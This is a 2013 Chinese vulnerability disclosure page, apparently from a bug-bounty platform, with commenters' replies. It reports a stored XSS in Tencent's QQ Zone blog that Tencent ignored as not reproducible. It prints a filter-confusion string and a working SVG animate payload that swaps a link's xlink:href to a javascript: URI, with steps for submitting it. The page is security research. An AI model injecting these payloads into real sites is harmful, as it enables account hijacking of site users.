漏洞概要
关注数(24 )
关注此漏洞
漏洞标题:QQ空间、校友存储型XSS漏洞(xss技巧)
相关厂商:腾讯
提交时间:2013-06-28 14:00
修复时间:2013-07-01 09:55
公开时间:2013-07-01 09:55
漏洞类型:xss跨站脚本攻击
危害等级:高
自评Rank:15
漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞
Tags标签:
无
漏洞详情 披露状态:
2013-06-28: 细节已通知厂商并且等待厂商处理中 2013-07-01: 厂商已经主动忽略漏洞,细节向公众公开
简要描述: 存储型XSS,扰乱过滤器+Chrmoe的新Payload?还是有点猥琐的..呵呵
详细说明: 好久没看XSS了,前几天无意测试中扰乱了QQ空间日志的过滤器..然后TX也很谨慎,多层过滤的。然后发现SVG标签过滤的不严格.. 就开始猥琐咯...最后还发现一个payload,针对Chrome的,不知道网上有木有.. 1.fuzz,找到了一处过滤器扰乱,如图
12345<SVG>"<![CDATA[><image xlink:href="]]>
这个没有深究,请TX安全研究人员找原因吧 经过这次扰乱过滤器,可以发出来一些原本不能发出的标签了,比如<script>,比如<svg>等。 2.之后开始各种构造,但是经过广泛的测试,发现二级过滤器(或者随便叫什么名字),依旧很严格..对标签内的属性和标签的内容进行了严格的控制。 3.然后测试到SVG标签时,发现TX似乎对SVG标签没有那么多的限制,猜想可能是因为此标签是H5,很多属性名和内容标签名很非主流..TX忽视了.. 4.然后便开始深入研究SVG标签,经过一段时间的研究。发现SVG如果想跨的话,无非是内嵌SCRIPT,或者BUTTON的auto,还有各种on属性之类,这些标签虽然可以绕过发出来,但都由于属性名太招眼被卡死了。 5.然后研究发现SVG标签有这么一个属性,很好玩。SVG支持动画特效,也就是利用一些标签控制其他标签的属性,进而形成动画,或属性变换。 举个例子:
<svg width="8cm" height="3cm"viewBox="0 0 800 300" xmlns="http://www.w3.org/2000/svg" version="1.1"> <rect id="RectElement" x="300" y="100" width="300" height="100" fill="rgb(255,255,0)"> <animate attributeName="x" attributeType="XML" begin="0s" dur="9s" fill="freeze" from="300" to="0" /> </rect> </svg>
上面的animate标签,可以根据一定的变量增量,去动态的改变<rect>的属性x 详情参见:http://www.w3.org/TR/SVG/animate.html 作为一名优秀的白帽子,这种Hiigh爆的东西,是必须要大胆假设,小心求证的。 6.开始大胆假设,或许可以操作一些敏感属性? 7.小心求证 经过查询一些资料,发现之前已经有人有这种想法了..有一些试图改变onmouseover等属性的payload,但是chrome很早版本就修复了。 8.然后不甘心,继续寻找,然后找到了
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href="ForFun" target="_blank"> <animate attributeName="xlink:href" begin="mouseover" to="jaVascRiPt:alert('Hello Drizzle')" ></animate> <polygon points="0,0 2000,0 2000,2000 0,2000" style="fill:#FFFFFF; stroke:#000000;stroke-width:1"> </polygon>
大家知道,TX必然会重置xlink:href和target的,但是无所谓,我们也可以重置。 就是通过animate标签,将xlink:href重新改为jaVascRiPt:alert('Hello Drizzle'),然后就妥妥的了。 大概就是这么个过程,不知道这个算不算新的Chrome XSS payload?估计应该有很多人知道这个...SVG的确很有趣,但是属性,内嵌标签也多,不同浏览器有不同的解释。另外FF我在测试的时候,也有些奇妙的东西..回头有空再分享.. 最后上大图:
tips:虽然点击才形成攻击,但我比较菜,我不能,但不代表别人挖不出更牛X的,比如2哥他们.. 所以建议TX还是别忽略了..
漏洞证明:
<![><img src="]><img//"> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <a xlink:href="ForFun" target="_blank"> <animate attributeName="xlink:href" begin="mouseover" to="jaVascRiPt:alert('Hello Drizzle')" ></animate> <polygon points="0,0 2000,0 2000,2000 0,2000" style="fill:#FFFFFF; stroke:#000000;stroke-width:1"> </polygon> </a> <!--<![CDATA[><image"]]><img //"></svg>
选择发日志,插入FLASH,然后插入以上代码,直接提交。 注意攻击环境是在Chrome环境下....
修复方案: 俩问题: 1.针对标签过滤器,有逻辑问题 2.针对属性的过滤器,不全面
漏洞回应 厂商回应: 危害等级:无影响厂商忽略
忽略时间:2013-07-01 09:55
厂商回复: 非常感谢您的报告!但是由于此漏洞测试未能重现,慎重考虑后我们决定还是忽略此报告,仍然感谢。
最新状态: 暂无
漏洞评价:
评论
2013-06-28 14:08 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
为啥每次发洞,后面都被人加了个括号注释...=.=
2013-06-28 14:11 |
HRay ( 普通白帽子 | Rank:196 漏洞数:28 | 018)
2013-06-28 14:19 |
齐迹 ( 核心白帽子 | Rank:784 漏洞数:89 | 一名普通的phper开发者,关注web安全。)
2013-06-28 14:37 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2013-06-28 14:43 |
xcfres54 ( 路人 | Rank:16 漏洞数:3 )
2013-06-28 14:50 |
鬼魅羊羔 ( 普通白帽子 | Rank:299 漏洞数:41 | (#‵′)凸(#‵′)凸(#‵′)凸(#‵′)凸(#‵...)
2013-06-28 15:09 |
B1acken ( 普通白帽子 | Rank:174 漏洞数:29 | 渣渣)
2013-06-28 15:28 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
@px1624 先看看会不会忽略.. 这个payload很多地方都能跨..=.=
2013-06-28 15:41 |
xsser ( 普通白帽子 | Rank:254 漏洞数:17 | 当我又回首一切,这个世界会好吗?)
2013-06-28 15:42 |
BlackWidow7 ( 实习白帽子 | Rank:58 漏洞数:28 | 屌丝~)
2013-06-28 16:12 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
不要找我要新payload啦..拿不出手的.. 我就那么一说...汗.. 我是小菜,而且这个点击才会X,你们还会要么...等忽略吧.. =.=
2013-06-28 16:20 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
真奇怪.. TX默默的修复了..?应该还看不到吧..@xsser @腾讯
2013-06-28 17:08 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
@Drizzle.Risk 额。。私信发来 玩玩呗
2013-06-28 18:25 |
Demon ( 普通白帽子 | Rank:121 漏洞数:14 | You are my dream)
2013-06-28 18:29 |
小乐天 ( 实习白帽子 | Rank:64 漏洞数:12 | From KnownSec)
2013-06-28 21:00 |
0x2b ( 实习白帽子 | Rank:51 漏洞数:12 )
2013-06-28 22:07 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2013-06-28 22:57 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
2013-06-28 23:06 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2013-06-28 23:25 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
@px1624 这个payload是不是挺奇葩的 嘿嘿..
2013-06-29 00:06 |
px1624 ( 普通白帽子 | Rank:1036 漏洞数:175 | px1624)
2013-06-29 10:19 |
ppt ( 路人 | Rank:11 漏洞数:2 | ) | ( 我猜出了用户名,可我没猜出密码。)
2013-06-29 11:43 |
Drizzle.Risk ( 普通白帽子 | Rank:255 漏洞数:19 | You have an error in your SQL syntax; ch...)
@腾讯 昨天给我发了个漏洞质询,说他们根据我提供的方法,不能还原现场。 下面我大概说下: 我是前段时间发现这个的,然后中间间断性的测试了很多次,包括别人帮忙测试都是OK的,然后昨天提交前当然也重写验证测试了,截图都是那时候截的。然后呢,过了几个小时后,我再测试,payload就没用了,其中有个关键标签被过滤掉了。但是过滤器扰乱还是生效.. 这时候腾讯发来了“漏洞质询”。 我的想法是:直接忽略吧,我不要rank,我也不管为啥那么多天没修,发了之后就过滤了。我表示很费解..也不想深究原因Just make public it.大家一起研究下算了..O_o
2013-07-01 09:57 |
p0di ( 普通白帽子 | Rank:121 漏洞数:17 | 1+1 = 2 ?)
2013-07-09 11:16 |
脚本小伙 ( 实习白帽子 | Rank:52 漏洞数:15 | 小书童)
我在腾讯安全应急响应中心提交的漏洞也被没有重现!碉堡了!